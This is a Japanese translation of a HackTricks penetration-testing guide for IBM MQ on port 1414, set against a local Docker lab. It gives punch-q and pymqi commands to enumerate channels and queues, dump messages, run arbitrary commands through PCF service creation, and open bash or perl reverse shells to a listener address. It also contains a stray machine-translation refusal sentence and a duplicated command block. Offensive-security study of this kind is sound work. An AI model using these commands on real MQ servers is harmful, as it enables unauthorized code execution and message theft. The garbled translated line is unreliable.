# 1414 - Pentesting IBM MQ {{#include ../banners/hacktricks-training.md}} ## 基本情報 IBM MQは、メッセージキューを管理するためのIBMの技術です。他の**メッセージブローカー**技術と同様に、プロデューサーとコンシューマー間で情報を受信、保存、処理、分類することに特化しています。 デフォルトでは、**IBM MQ TCPポート1414を公開します**。時には、HTTP REST APIがポート**9443**で公開されることがあります。メトリクス(Prometheus)はTCPポート**9157**からもアクセス可能です。 IBM MQ TCPポート1414は、メッセージ、キュー、チャネルを操作するために使用できますが、**インスタンスを制御するためにも使用できます**。 IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で利用可能な大規模な技術文書を提供しています。 ## ツール 簡単なエクスプロイトのために推奨されるツールは、**[punch-q](https://github.com/sensepost/punch-q)**で、Dockerを使用します。このツールは、Pythonライブラリ`pymqi`を積極的に使用しています。 より手動のアプローチには、Pythonライブラリ**[pymqi](https://github.com/dsuch/pymqi)**を使用します。[IBM MQの依存関係](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)が必要です。 ### pymqiのインストール **IBM MQの依存関係**をインストールして読み込む必要があります: 1. [https://login.ibm.com/](https://login.ibm.com/)でアカウント(IBMid)を作成します。 2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)からIBM MQライブラリをダウンロードします。Linux x86_64の場合は、**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**です。 3. 解凍します(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。 4. `sudo ./mqlicense.sh`を実行してライセンス条項に同意します。 > Kali Linuxを使用している場合は、ファイル`mqlicense.sh`を修正します:次の行(105-110行目の間)を削除またはコメントアウトします: > > ```bash > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 > fi > ``` 5. これらのパッケージをインストールします: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. その後、一時的に`.so`ファイルをLDに追加します: `export LD_LIBRARY_PATH=/opt/mqm/lib64`、**他のツールをこれらの依存関係を使用して実行する前に**。 その後、プロジェクト[**pymqi**](https://github.com/dsuch/pymqi)をクローンできます: 興味深いコードスニペットや定数が含まれています... または、ライブラリを直接インストールすることもできます: `pip install pymqi`。 ### punch-qの使用 #### Dockerを使用して 単に使用します: `sudo docker run --rm -ti leonjza/punch-q`。 #### Dockerを使用しない場合 プロジェクト[**punch-q**](https://github.com/sensepost/punch-q)をクローンし、インストールのためにreadmeに従ってください(`pip install -r requirements.txt && python3 setup.py install`)。 その後、`punch-q`コマンドで使用できます。 ## 列挙 **punch-q**または**pymqi**を使用して、**キュー・マネージャー名、ユーザー、チャネル、キュー**を列挙することができます。 ### キュー・マネージャー 時々、キュー・マネージャー名を取得することに対する保護がありません: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Channels **punch-q** は、既存のチャネルを見つけるために内部の(変更可能な)単語リストを使用しています。使用例: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` いくつかのIBM MQインスタンスは**認証されていない**MQリクエストを受け入れるため、`--username / --password`は必要ありません。もちろん、アクセス権も異なる場合があります。 チャンネル名(ここでは`DEV.ADMIN.SVRCONN`)がわかれば、他のすべてのチャンネルを列挙できます。 列挙は基本的に**pymqi**のこのコードスニペット`code/examples/dis_channels.py`を使用して行うことができます: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... しかし、**punch-q** もその部分を埋め込んでいます(さらに詳しい情報があります!)。 次のコマンドで起動できます: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### キュー **pymqi** (`dis_queues.py`) のコードスニペットがありますが、**punch-q** はキューに関するより多くの情報を取得することを許可します: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## エクスプロイト ### メッセージのダンプ キューやチャネルをターゲットにして、そこからメッセージをスニッフィングまたはダンプすることができます(非破壊的操作)。 _例:_ ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **すべての特定されたキューを反復することをためらわないでください。** ### コード実行 > 続行する前にいくつかの詳細: IBM MQは、MQSC、PCF、Control Commandなど複数の方法で制御できます。一般的なリストは[IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)で見つけることができます。 > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_プログラム可能コマンド形式_**)は、インスタンスとリモートで対話するために私たちが注目しているものです。**punch-q**およびさらに**pymqi**はPCFインタラクションに基づいています。 > > PCFコマンドのリストを見つけることができます: > > - [PCF documentationから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)、および > - [constantsから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。 > > 興味深いコマンドは`MQCMD_CREATE_SERVICE`で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で入手できます。これは、インスタンス上のローカルプログラムを指す`StartCommand`を引数として取ります(例: `/bin/sh`)。 > > ドキュメントにはコマンドの警告もあります: _"注意: このコマンドはユーザーにmqm権限で任意のコマンドを実行させることを許可します。このコマンドを使用する権利が与えられた場合、悪意のあるまたは不注意なユーザーが、重要なファイルを削除するなど、システムやデータに損害を与えるサービスを定義する可能性があります。"_ > > _注: IBM MQ documentation (Administration Reference)によると、サービス作成のための同等のMQSCコマンド(`DEFINE SERVICE`)を実行するためのHTTPエンドポイントが`/admin/action/qmgr/{qmgrName}/mqsc`にもあります。この側面はまだここではカバーされていません。_ PCFを使用したリモートプログラム実行のためのサービス作成/削除は**punch-q**によって行うことができます: **例 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > IBM MQのログには、コマンドが正常に実行されたことが記録されています: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` マシン上の既存のプログラムを列挙することもできます(ここでは`/bin/doesnotexist` ... 存在しません): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **プログラムの起動は非同期であることに注意してください。したがって、エクスプロイトを活用するために2つ目のアイテムが必要です** **_(リバースシェルのリスナー、異なるサービスでのファイル作成、ネットワークを通じたデータの抽出...)_** **例2** 簡単なリバースシェルのために、**punch-q**は2つのリバースシェルペイロードも提案しています: - 一つはbash - 一つはperl _もちろん、`execute`コマンドを使用してカスタムのものを作成することもできます。_ bashの場合: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` 申し訳ありませんが、具体的な内容が提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。 ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### カスタム PCF IBM MQ ドキュメントを調べて、**pymqi** Python ライブラリを直接使用して、**punch-q** で実装されていない特定の PCF コマンドをテストできます。 **例:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` 定数名が見つからない場合は、[IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)を参照できます。 > _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)の例 (Decimal = 73)。`MQCA_CLUSTER_NAME` (Decimal = 2029)というパラメータが必要で、これは`_`である可能性があります (Doc: ):\* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## テスト環境 IBM MQの動作とエクスプロイトをテストしたい場合は、Dockerに基づいたローカル環境を設定できます: 1. ibm.comおよびcloud.ibm.comにアカウントを持っていること。 2. コンテナ化されたIBM MQを作成します: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` デフォルトでは、認証が有効になっており、ユーザー名は `admin`、パスワードは `passw0rd`(環境変数 `MQ_ADMIN_PASSWORD`)です。ここで、キュー マネージャー名は `MYQUEUEMGR`(変数 `MQ_QMGR_NAME`)に設定されています。 IBM MQが起動しており、そのポートが公開されている必要があります: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > 古いバージョンのIBM MQ Dockerイメージは次の場所にあります: https://hub.docker.com/r/ibmcom/mq/. ## 参考文献 - [mgeeky's gist - "実践的なIBM MQペネトレーションテストノート"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) - [MQジャンピング - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq) {{#include ../banners/hacktricks-training.md}}